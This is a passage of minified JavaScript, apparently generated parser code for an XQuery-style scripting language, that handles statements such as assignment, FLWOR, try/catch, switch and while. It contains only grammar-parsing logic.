276:ql(95);break;default:Wl=$l}if(Wl!=25&&Wl!=54&&Wl!=287&&Wl!=12808&&Wl!=12809&&Wl!=12810&&Wl!=12811&&Wl!=12832&&Wl!=12847&&Wl!=12935&&Wl!=12997&&Wl!=13055&&Wl!=16140&&Wl!=21512&&Wl!=21513&&Wl!=21514&&Wl!=21515&&Wl!=21536&&Wl!=21551&&Wl!=21639&&Wl!=21701&&Wl!=21759&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=146952&&Wl!=146953&&Wl!=146954&&Wl!=146955&&Wl!=146976&&Wl!=146991&&Wl!=147079&&Wl!=147141&&Wl!=147199){Wl=uc(8,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{ff(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(8,Vl,Wl)}}if(Wl!=-1&&Wl!=54&&Wl!=16140&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333)break;jl(),af()}ic.endNonterminal(\"Statements\",Vl)}function nf(){for(;;){Il(284);switch($l){case 35:ql(270);break;case 36:Ul(243);break;case 47:ql(286);break;case 48:ql(260);break;case 55:Ul(4);break;case 56:Ul(1);break;case 60:Ul(3);break;case 69:ql(273);break;case 78:ql(269);break;case 133:ql(147);break;case 139:ql(179);break;case 161:ql(276);break;case 177:ql(166);break;case 187:ql(247);break;case 220:ql(245);break;case 223:ql(170);break;case 266:ql(188);break;case 281:ql(283);break;case 283:ql(274);break;case 31:case 33:ql(246);break;case 83:case 122:ql(253);break;case 87:case 103:ql(145);break;case 97:case 249:ql(97);break;case 111:case 222:ql(261);break;case 41:case 43:case 196:ql(266);break;case 135:case 197:case 255:ql(211);break;case 104:case 130:case 240:case 268:ql(143);break;case 120:case 206:case 256:case 262:ql(148);break;case 8:case 9:case 10:case 11:case 32:ql(210);break;case 79:case 121:case 125:case 167:case 169:case 188:case 194:case 230:case 231:case 247:ql(20);break;case 6:case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 269:case 272:case 273:case 276:ql(95);break;default:Wl=$l}if(Wl!=25&&Wl!=54&&Wl!=287&&Wl!=12808&&Wl!=12809&&Wl!=12810&&Wl!=12811&&Wl!=12832&&Wl!=12847&&Wl!=12935&&Wl!=12997&&Wl!=13055&&Wl!=16140&&Wl!=21512&&Wl!=21513&&Wl!=21514&&Wl!=21515&&Wl!=21536&&Wl!=21551&&Wl!=21639&&Wl!=21701&&Wl!=21759&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=146952&&Wl!=146953&&Wl!=146954&&Wl!=146955&&Wl!=146976&&Wl!=146991&&Wl!=147079&&Wl!=147141&&Wl!=147199){Wl=uc(8,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{ff(),oc(8,t,-1);continue}catch(a){Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(8,t,-2);break}}}if(Wl!=-1&&Wl!=54&&Wl!=16140&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333)break;ff()}}function rf(){ic.startNonterminal(\"StatementsAndExpr\",Vl),tf(),jl(),G(),ic.endNonterminal(\"StatementsAndExpr\",Vl)}function sf(){nf(),Y()}function of(){ic.startNonterminal(\"StatementsAndOptionalExpr\",Vl),tf(),$l!=25&&$l!=287&&(jl(),G()),ic.endNonterminal(\"StatementsAndOptionalExpr\",Vl)}function uf(){nf(),$l!=25&&$l!=287&&Y()}function af(){ic.startNonterminal(\"Statement\",Vl);switch($l){case 133:ql(147);break;case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 268:ql(143);break;case 281:ql(283);break;case 31:case 33:ql(246);break;case 87:case 103:ql(145);break;case 154:case 248:case 259:case 273:ql(95);break;default:Wl=$l}if(Wl!=6&&Wl!=8&&Wl!=9&&Wl!=10&&Wl!=11&&Wl!=32&&Wl!=35&&Wl!=36&&Wl!=41&&Wl!=43&&Wl!=47&&Wl!=48&&Wl!=54&&Wl!=55&&Wl!=56&&Wl!=60&&Wl!=69&&Wl!=71&&Wl!=73&&Wl!=74&&Wl!=75&&Wl!=76&&Wl!=78&&Wl!=79&&Wl!=80&&Wl!=81&&Wl!=82&&Wl!=83&&Wl!=84&&Wl!=85&&Wl!=86&&Wl!=89&&Wl!=90&&Wl!=91&&Wl!=92&&Wl!=94&&Wl!=95&&Wl!=97&&Wl!=98&&Wl!=99&&Wl!=102&&Wl!=104&&Wl!=105&&Wl!=106&&Wl!=107&&Wl!=109&&Wl!=110&&Wl!=111&&Wl!=112&&Wl!=113&&Wl!=114&&Wl!=119&&Wl!=120&&Wl!=121&&Wl!=122&&Wl!=123&&Wl!=124&&Wl!=125&&Wl!=126&&Wl!=127&&Wl!=129&&Wl!=130&&Wl!=132&&Wl!=134&&Wl!=135&&Wl!=136&&Wl!=137&&Wl!=138&&Wl!=142&&Wl!=143&&Wl!=147&&Wl!=148&&Wl!=150&&Wl!=152&&Wl!=153&&Wl!=155&&Wl!=156&&Wl!=157&&Wl!=161&&Wl!=162&&Wl!=163&&Wl!=164&&Wl!=165&&Wl!=166&&Wl!=167&&Wl!=168&&Wl!=169&&Wl!=170&&Wl!=173&&Wl!=174&&Wl!=175&&Wl!=179&&Wl!=181&&Wl!=183&&Wl!=184&&Wl!=185&&Wl!=187&&Wl!=188&&Wl!=189&&Wl!=194&&Wl!=195&&Wl!=196&&Wl!=197&&Wl!=198&&Wl!=202&&Wl!=203&&Wl!=204&&Wl!=205&&Wl!=206&&Wl!=207&&Wl!=210&&Wl!=216&&Wl!=217&&Wl!=220&&Wl!=222&&Wl!=223&&Wl!=224&&Wl!=225&&Wl!=226&&Wl!=228&&Wl!=229&&Wl!=230&&Wl!=231&&Wl!=232&&Wl!=233&&Wl!=234&&Wl!=239&&Wl!=240&&Wl!=241&&Wl!=242&&Wl!=245&&Wl!=247&&Wl!=249&&Wl!=253&&Wl!=254&&Wl!=255&&Wl!=257&&Wl!=258&&Wl!=260&&Wl!=262&&Wl!=263&&Wl!=266&&Wl!=267&&Wl!=269&&Wl!=272&&Wl!=276&&Wl!=283&&Wl!=10009&&Wl!=14935&&Wl!=14951&&Wl!=14981&&Wl!=14987&&Wl!=15002&&Wl!=15025&&Wl!=15096&&Wl!=15104&&Wl!=15107&&Wl!=15116&&Wl!=15121&&Wl!=16011&&Wl!=16049&&Wl!=16140&&Wl!=18007&&Wl!=18023&&Wl!=18053&&Wl!=18059&&Wl!=18074&&Wl!=18097&&Wl!=18168&&Wl!=18176&&Wl!=18179&&Wl!=18188&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=118961&&Wl!=122507&&Wl!=131723&&Wl!=144128&&Wl!=147225){Wl=uc(9,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{cf(),Wl=-1}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),pf(),Wl=-2}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),vf(),Wl=-3}catch(l){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),If(),Wl=-12}catch(c){Wl=-13}}}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(9,Vl,Wl)}}switch(Wl){case-2:hf();break;case-3:df();break;case 91735:mf();break;case 91751:yf();break;case 115333:wf();break;case 16011:case 16049:case 118961:case 122507:case 131723:Sf();break;case 18074:Cf();break;case 18168:Lf();break;case 144128:_f();break;case 18179:Pf();break;case-12:case 16140:Ff();break;case-13:qf();break;case 54:Uf();break;default:lf()}ic.endNonterminal(\"Statement\",Vl)}function ff(){switch($l){case 133:ql(147);break;case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 268:ql(143);break;case 281:ql(283);break;case 31:case 33:ql(246);break;case 87:case 103:ql(145);break;case 154:case 248:case 259:case 273:ql(95);break;default:Wl=$l}if(Wl!=6&&Wl!=8&&Wl!=9&&Wl!=10&&Wl!=11&&Wl!=32&&Wl!=35&&Wl!=36&&Wl!=41&&Wl!=43&&Wl!=47&&Wl!=48&&Wl!=54&&Wl!=55&&Wl!=56&&Wl!=60&&Wl!=69&&Wl!=71&&Wl!=73&&Wl!=74&&Wl!=75&&Wl!=76&&Wl!=78&&Wl!=79&&Wl!=80&&Wl!=81&&Wl!=82&&Wl!=83&&Wl!=84&&Wl!=85&&Wl!=86&&Wl!=89&&Wl!=90&&Wl!=91&&Wl!=92&&Wl!=94&&Wl!=95&&Wl!=97&&Wl!=98&&Wl!=99&&Wl!=102&&Wl!=104&&Wl!=105&&Wl!=106&&Wl!=107&&Wl!=109&&Wl!=110&&Wl!=111&&Wl!=112&&Wl!=113&&Wl!=114&&Wl!=119&&Wl!=120&&Wl!=121&&Wl!=122&&Wl!=123&&Wl!=124&&Wl!=125&&Wl!=126&&Wl!=127&&Wl!=129&&Wl!=130&&Wl!=132&&Wl!=134&&Wl!=135&&Wl!=136&&Wl!=137&&Wl!=138&&Wl!=142&&Wl!=143&&Wl!=147&&Wl!=148&&Wl!=150&&Wl!=152&&Wl!=153&&Wl!=155&&Wl!=156&&Wl!=157&&Wl!=161&&Wl!=162&&Wl!=163&&Wl!=164&&Wl!=165&&Wl!=166&&Wl!=167&&Wl!=168&&Wl!=169&&Wl!=170&&Wl!=173&&Wl!=174&&Wl!=175&&Wl!=179&&Wl!=181&&Wl!=183&&Wl!=184&&Wl!=185&&Wl!=187&&Wl!=188&&Wl!=189&&Wl!=194&&Wl!=195&&Wl!=196&&Wl!=197&&Wl!=198&&Wl!=202&&Wl!=203&&Wl!=204&&Wl!=205&&Wl!=206&&Wl!=207&&Wl!=210&&Wl!=216&&Wl!=217&&Wl!=220&&Wl!=222&&Wl!=223&&Wl!=224&&Wl!=225&&Wl!=226&&Wl!=228&&Wl!=229&&Wl!=230&&Wl!=231&&Wl!=232&&Wl!=233&&Wl!=234&&Wl!=239&&Wl!=240&&Wl!=241&&Wl!=242&&Wl!=245&&Wl!=247&&Wl!=249&&Wl!=253&&Wl!=254&&Wl!=255&&Wl!=257&&Wl!=258&&Wl!=260&&Wl!=262&&Wl!=263&&Wl!=266&&Wl!=267&&Wl!=269&&Wl!=272&&Wl!=276&&Wl!=283&&Wl!=10009&&Wl!=14935&&Wl!=14951&&Wl!=14981&&Wl!=14987&&Wl!=15002&&Wl!=15025&&Wl!=15096&&Wl!=15104&&Wl!=15107&&Wl!=15116&&Wl!=15121&&Wl!=16011&&Wl!=16049&&Wl!=16140&&Wl!=18007&&Wl!=18023&&Wl!=18053&&Wl!=18059&&Wl!=18074&&Wl!=18097&&Wl!=18168&&Wl!=18176&&Wl!=18179&&Wl!=18188&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=118961&&Wl!=122507&&Wl!=131723&&Wl!=144128&&Wl!=147225){Wl=uc(9,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{cf(),oc(9,t,-1),Wl=-15}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),pf(),oc(9,t,-2),Wl=-15}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),vf(),oc(9,t,-3),Wl=-15}catch(l){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),If(),oc(9,t,-12),Wl=-15}catch(c){Wl=-13,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(9,t,-13)}}}}}}switch(Wl){case-2:pf();break;case-3:vf();break;case 91735:gf();break;case 91751:bf();break;case 115333:Ef();break;case 16011:case 16049:case 118961:case 122507:case 131723:xf();break;case 18074:kf();break;case 18168:Af();break;case 144128:Df();break;case 18179:Hf();break;case-12:case 16140:If();break;case-13:Rf();break;case 54:zf();break;case-15:break;default:cf()}}function lf(){ic.startNonterminal(\"ApplyStatement\",Vl),Vf(),Pl(54),ic.endNonterminal(\"ApplyStatement\",Vl)}function cf(){$f(),Hl(54)}function hf(){ic.startNonterminal(\"AssignStatement\",Vl),Pl(31),Il(246),jl(),Ti(),Il(28),Pl(53),Il(267),jl(),Wf(),Pl(54),ic.endNonterminal(\"AssignStatement\",Vl)}function pf(){Hl(31),Il(246),Ni(),Il(28),Hl(53),Il(267),Xf(),Hl(54)}function df(){ic.startNonterminal(\"BlockStatement\",Vl),Pl(281),Il(271),jl(),af(),Il(281),jl(),tf(),Pl(287),ic.endNonterminal(\"BlockStatement\",Vl)}function vf(){Hl(281),Il(271),ff(),Il(281),nf(),Hl(287)}function mf(){ic.startNonterminal(\"BreakStatement\",Vl),Pl(87),Il(62),Pl(179),Il(29),Pl(54),ic.endNonterminal(\"BreakStatement\",Vl)}function gf(){Hl(87),Il(62),Hl(179),Il(29),Hl(54)}function yf(){ic.startNonterminal(\"ContinueStatement\",Vl),Pl(103),Il(62),Pl(179),Il(29),Pl(54),ic.endNonterminal(\"ContinueStatement\",Vl)}function bf(){Hl(103),Il(62),Hl(179),Il(29),Hl(54)}function wf(){ic.startNonterminal(\"ExitStatement\",Vl),Pl(133),Il(74),Pl(225),Il(267),jl(),Wf(),Pl(54),ic.endNonterminal(\"ExitStatement\",Vl)}function Ef(){Hl(133),Il(74),Hl(225),Il(267),Xf(),Hl(54)}function Sf(){ic.startNonterminal(\"FLWORStatement\",Vl),tt();for(;;){Il(195);if($l==224)break;jl(),rt()}jl(),Tf(),ic.endNonterminal(\"FLWORStatement\",Vl)}function xf(){nt();for(;;){Il(195);if($l==224)break;it()}Nf()}function Tf(){ic.startNonterminal(\"ReturnStatement\",Vl),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"ReturnStatement\",Vl)}function Nf(){Hl(224),Il(271),ff()}function Cf(){ic.startNonterminal(\"IfStatement\",Vl),Pl(154),Il(22),Pl(35),Il(267),jl(),G(),Pl(38),Il(80),Pl(250),Il(271),jl(),af(),Il(51),Pl(123),Il(271),jl(),af(),ic.endNonterminal(\"IfStatement\",Vl)}function kf(){Hl(154),Il(22),Hl(35),Il(267),Y(),Hl(38),Il(80),Hl(250),Il(271),ff(),Il(51),Hl(123),Il(271),ff()}function Lf(){ic.startNonterminal(\"SwitchStatement\",Vl),Pl(248),Il(22),Pl(35),Il(267),jl(),G(),Pl(38);for(;;){Il(38),jl(),Of(),Il(117);if($l!=89)break}Pl(110),Il(73),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"SwitchStatement\",Vl)}function Af(){Hl(248),Il(22),Hl(35),Il(267),Y(),Hl(38);for(;;){Il(38),Mf(),Il(117);if($l!=89)break}Hl(110),Il(73),Hl(224),Il(271),ff()}function Of(){ic.startNonterminal(\"SwitchCaseStatement\",Vl);for(;;){Pl(89),Il(267),jl(),dn();if($l!=89)break}Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"SwitchCaseStatement\",Vl)}function Mf(){for(;;){Hl(89),Il(267),vn();if($l!=89)break}Hl(224),Il(271),ff()}function _f(){ic.startNonterminal(\"TryCatchStatement\",Vl),Pl(256),Il(90),jl(),df();for(;;){Il(39),Pl(92),Il(249),jl(),_n(),jl(),df(),Il(284);switch($l){case 92:ql(256);break;default:Wl=$l}if(Wl!=2652&&Wl!=3164&&Wl!=36444&&Wl!=37468&&Wl!=37980&&Wl!=38492&&Wl!=39004&&Wl!=40028&&Wl!=40540&&Wl!=41052&&Wl!=41564&&Wl!=42076&&Wl!=42588&&Wl!=43100&&Wl!=43612&&Wl!=44124&&Wl!=44636&&Wl!=45660&&Wl!=46172&&Wl!=46684&&Wl!=47196&&Wl!=48220&&Wl!=48732&&Wl!=49756&&Wl!=50268&&Wl!=50780&&Wl!=52316&&Wl!=52828&&Wl!=53340&&Wl!=53852&&Wl!=54364&&Wl!=54876&&Wl!=55900&&Wl!=56412&&Wl!=56924&&Wl!=57436&&Wl!=57948&&Wl!=58460&&Wl!=61020&&Wl!=61532&&Wl!=62044&&Wl!=62556&&Wl!=63068&&Wl!=63580&&Wl!=64092&&Wl!=64604&&Wl!=65116&&Wl!=66140&&Wl!=66652&&Wl!=67676&&Wl!=68188&&Wl!=68700&&Wl!=69212&&Wl!=69724&&Wl!=70236&&Wl!=70748&&Wl!=71260&&Wl!=72796&&Wl!=73308&&Wl!=75356&&Wl!=75868&&Wl!=76892&&Wl!=77916&&Wl!=78428&&Wl!=78940&&Wl!=79452&&Wl!=79964&&Wl!=80476&&Wl!=82524&&Wl!=83036&&Wl!=83548&&Wl!=84060&&Wl!=84572&&Wl!=85084&&Wl!=85596&&Wl!=86108&&Wl!=86620&&Wl!=87132&&Wl!=88668&&Wl!=89180&&Wl!=89692&&Wl!=90716&&Wl!=91740&&Wl!=92764&&Wl!=93788&&Wl!=94300&&Wl!=94812&&Wl!=95836&&Wl!=96348&&Wl!=96860&&Wl!=99420&&Wl!=99932&&Wl!=100956&&Wl!=101468&&Wl!=103516&&Wl!=104028&&Wl!=104540&&Wl!=105052&&Wl!=105564&&Wl!=106076&&Wl!=107612&&Wl!=110684&&Wl!=111196&&Wl!=112732&&Wl!=113756&&Wl!=114268&&Wl!=114780&&Wl!=115292&&Wl!=115804&&Wl!=116828&&Wl!=117340&&Wl!=117852&&Wl!=118364&&Wl!=118876&&Wl!=119388&&Wl!=119900&&Wl!=122460&&Wl!=122972&&Wl!=123484&&Wl!=123996&&Wl!=125532&&Wl!=126556&&Wl!=127068&&Wl!=127580&&Wl!=129628&&Wl!=130140&&Wl!=130652&&Wl!=131164&&Wl!=131676&&Wl!=132188&&Wl!=132700&&Wl!=133212&&Wl!=134236&&Wl!=134748&&Wl!=136284&&Wl!=136796&&Wl!=137308&&Wl!=137820&&Wl!=139356&&Wl!=139868&&Wl!=141404)break}ic.endNonterminal(\"TryCatchStatement\",Vl)}function Df(){Hl(256),Il(90),vf();for(;;){Il(39),Hl(92),Il(249),Dn(),vf(),Il(284);switch($l){case 92:ql(256);break;default:Wl=$l}if(Wl!=2652&&Wl!=3164&&Wl!=36444&&Wl!=37468&&Wl!=37980&&Wl!=38492&&Wl!=39004&&Wl!=40028&&Wl!=40540&&Wl!=41052&&Wl!=41564&&Wl!=42076&&Wl!=42588&&Wl!=43100&&Wl!=43612&&Wl!=44124&&Wl!=44636&&Wl!=45660&&Wl!=46172&&Wl!=46684&&Wl!=47196&&Wl!=48220&&Wl!=48732&&Wl!=49756&&Wl!=50268&&Wl!=50780&&Wl!=52316&&Wl!=52828&&Wl!=53340&&Wl!=53852&&Wl!=54364&&Wl!=54876&&Wl!=55900&&Wl!=56412&&Wl!=56924&&Wl!=57436&&Wl!=57948&&Wl!=58460&&Wl!=61020&&Wl!=61532&&Wl!=62044&&Wl!=62556&&Wl!=63068&&Wl!=63580&&Wl!=64092&&Wl!=64604&&Wl!=65116&&Wl!=66140&&Wl!=66652&&Wl!=67676&&Wl!=68188&&Wl!=68700&&Wl!=69212&&Wl!=69724&&Wl!=70236&&Wl!=70748&&Wl!=71260&&Wl!=72796&&Wl!=73308&&Wl!=75356&&Wl!=75868&&Wl!=76892&&Wl!=77916&&Wl!=78428&&Wl!=78940&&Wl!=79452&&Wl!=79964&&Wl!=80476&&Wl!=82524&&Wl!=83036&&Wl!=83548&&Wl!=84060&&Wl!=84572&&Wl!=85084&&Wl!=85596&&Wl!=86108&&Wl!=86620&&Wl!=87132&&Wl!=88668&&Wl!=89180&&Wl!=89692&&Wl!=90716&&Wl!=91740&&Wl!=92764&&Wl!=93788&&Wl!=94300&&Wl!=94812&&Wl!=95836&&Wl!=96348&&Wl!=96860&&Wl!=99420&&Wl!=99932&&Wl!=100956&&Wl!=101468&&Wl!=103516&&Wl!=104028&&Wl!=104540&&Wl!=105052&&Wl!=105564&&Wl!=106076&&Wl!=107612&&Wl!=110684&&Wl!=111196&&Wl!=112732&&Wl!=113756&&Wl!=114268&&Wl!=114780&&Wl!=115292&&Wl!=115804&&Wl!=116828&&Wl!=117340&&Wl!=117852&&Wl!=118364&&Wl!=118876&&Wl!=119388&&Wl!=119900&&Wl!=122460&&Wl!=122972&&Wl!=123484&&Wl!=123996&&Wl!=125532&&Wl!=126556&&Wl!=127068&&Wl!=127580&&Wl!=129628&&Wl!=130140&&Wl!=130652&&Wl!=131164&&Wl!=131676&&Wl!=132188&&Wl!=132700&&Wl!=133212&&Wl!=134236&&Wl!=134748&&Wl!=136284&&Wl!=136796&&Wl!=137308&&Wl!=137820&&Wl!=139356&&Wl!=139868&&Wl!=141404)break}}function Pf(){ic.startNonterminal(\"TypeswitchStatement\",Vl),Pl(259),Il(22),Pl(35),Il(267),jl(),G(),Pl(38);for(;;){Il(38),jl(),Bf(),Il(117);if($l!=89)break}Pl(110),Il(99),$l==31&&(Pl(31),Il(246),jl(),Ti()),Il(73),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"TypeswitchStatement\",Vl)}function Hf(){Hl(259),Il(22),Hl(35),Il(267),Y(),Hl(38);for(;;){Il(38),jf(),Il(117);if($l!=89)break}Hl(110),Il(99),$l==31&&(Hl(31),Il(246),Ni()),Il(73),Hl(224),Il(271),ff()}function Bf(){ic.startNonterminal(\"CaseStatement\",Vl),Pl(89),Il(258),$l==31&&(Pl(31),Il(246),jl(),Ti(),Il(33),Pl(80)),Il(254),jl(),Ls(),Il(73),Pl(224),Il(271),jl(),af(),ic.endNonterminal(\"CaseStatement\",Vl)}function jf(){Hl(89),Il(258),$l==31&&(Hl(31),Il(246),Ni(),Il(33),Hl(80)),Il(254),As(),Il(73),Hl(224),Il(271),ff()}function Ff(){ic.startNonterminal(\"VarDeclStatement\",Vl);for(;;){Il(102);if($l!=33)break;jl(),B()}Pl(268),Il(21),Pl(31),Il(246),jl(),Ti(),Il(172),$l==80&&(jl(),Cs()),Il(155),$l==53&&(Pl(53),Il(267),jl(),Wf());for(;;){if($l!=42)break;Pl(42),Il(21),Pl(31),Il(246),jl(),Ti(),Il(172),$l==80&&(jl(),Cs()),Il(155),$l==53&&(Pl(53),Il(267),jl(),Wf())}Pl(54),ic.endNonterminal(\"VarDeclStatement\",Vl)}function If(){for(;;){Il(102);if($l!=33)break;j()}Hl(268),Il(21),Hl(31),Il(246),Ni(),Il(172),$l==80&&ks(),Il(155),$l==53&&(Hl(53),Il(267),Xf());for(;;){if($l!=42)break;Hl(42),Il(21),Hl(31),Il(246),Ni(),Il(172),$l==80&&ks(),Il(155),$l==53&&(Hl(53),Il(267),Xf())}Hl(54)}function qf(){ic.startNonterminal(\"WhileStatement\",Vl),Pl(273),Il(22),Pl(35),Il(267),jl(),G(),Pl(38),Il(271),jl(),af(),ic.endNonterminal(\"WhileStatement\",Vl)}function Rf(){Hl(273),Il(22),Hl(35),Il(267),Y(),Hl(38),Il(271),ff()}function Uf(){ic.startNonterminal(\"VoidStatement\",Vl),Pl(54),ic.endNonterminal(\"VoidStatement\",Vl)}function zf(){Hl(54)}function Wf(){ic.startNonterminal(\"ExprSingle\",Vl);switch($l){case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 154:case 248:case 259:ql(95);break;default:Wl=$l}switch(Wl){case 16011:case 16049:case 118961:case 122507:case 131723:Z();break;case 18074:Sn();break;case 18168:ln();break;case 144128:Tn();break;case 18179:mn();break;default:Vf()}ic.endNonterminal(\"ExprSingle\",Vl)}function Xf(){switch($l){case 139:ql(179);break;case 177:ql(166);break;case 256:ql(148);break;case 154:case 248:case 259:ql(95);break;default:Wl=$l}switch(Wl){case 16011:case 16049:case 118961:case 122507:case 131723:et();break;case 18074:xn();break;case 18168:cn();break;case 144128:Nn();break;case 18179:gn();break;default:$f()}}function Vf(){ic.startNonterminal(\"ExprSimple\",Vl);switch($l){case 78:ql(269);break;case 161:ql(276);break;case 223:ql(170);break;case 111:case 222:ql(261);break;case 104:case 130:case 240:ql(143);break;default:Wl=$l}if(Wl==17998||Wl==18031||Wl==18081||Wl==18142||Wl==99439||Wl==99489||Wl==99550||Wl==99951||Wl==100001||Wl==136927){Wl=uc(10,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hn(),Wl=-2}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),zo(),Wl=-3}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Xo(),Wl=-4}catch(l){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Ko(),Wl=-5}catch(c){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),$o(),Wl=-6}catch(h){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Kf(),Wl=-8}catch(p){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Gf(),Wl=-9}catch(d){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Zf(),Wl=-10}catch(v){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),tl(),Wl=-11}catch(m){Wl=-12}}}}}}}}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(10,Vl,Wl)}}switch(Wl){case 16002:case 16112:on();break;case-3:Uo();break;case-4:Wo();break;case-5:Jo();break;case-6:case 99551:Vo();break;case 15976:nu();break;case-8:case 3183:case 4207:case 4719:case 5231:case 5743:case 15983:case 16495:case 17007:case 28271:case 28783:case 30831:case 35439:case 36463:case 37487:case 37999:case 38511:case 39023:case 40047:case 40559:case 41071:case 41583:case 42095:case 42607:case 43119:case 43631:case 44143:case 44655:case 45679:case 46191:case 46703:case 47215:case 48239:case 48751:case 49775:case 50287:case 50799:case 52335:case 52847:case 53359:case 53871:case 54383:case 54895:case 55919:case 56431:case 56943:case 57455:case 57967:case 58479:case 61039:case 61551:case 62063:case 62575:case 63087:case 63599:case 64111:case 64623:case 65135:case 66159:case 66671:case 67695:case 68207:case 68719:case 69231:case 69743:case 70255:case 70767:case 71279:case 72815:case 73327:case 75375:case 75887:case 76911:case 77935:case 78447:case 78959:case 79471:case 79983:case 80495:case 82543:case 83055:case 83567:case 84079:case 84591:case 85103:case 85615:case 86127:case 86639:case 87151:case 88687:case 89199:case 89711:case 90735:case 91759:case 92783:case 93807:case 94319:case 94831:case 95855:case 96367:case 96879:case 100975:case 101487:case 103535:case 104047:case 104559:case 105071:case 105583:case 106095:case 107631:case 110703:case 111215:case 112751:case 113775:case 114287:case 114799:case 115311:case 115823:case 116847:case 117359:case 117871:case 118383:case 118895:case 119407:case 119919:case 122479:case 122991:case 123503:case 124015:case 125551:case 126575:case 127087:case 127599:case 129647:case 130159:case 130671:case 131183:case 131695:case 132207:case 132719:case 133231:case 134255:case 134767:case 136303:case 136815:case 137327:case 137839:case 139375:case 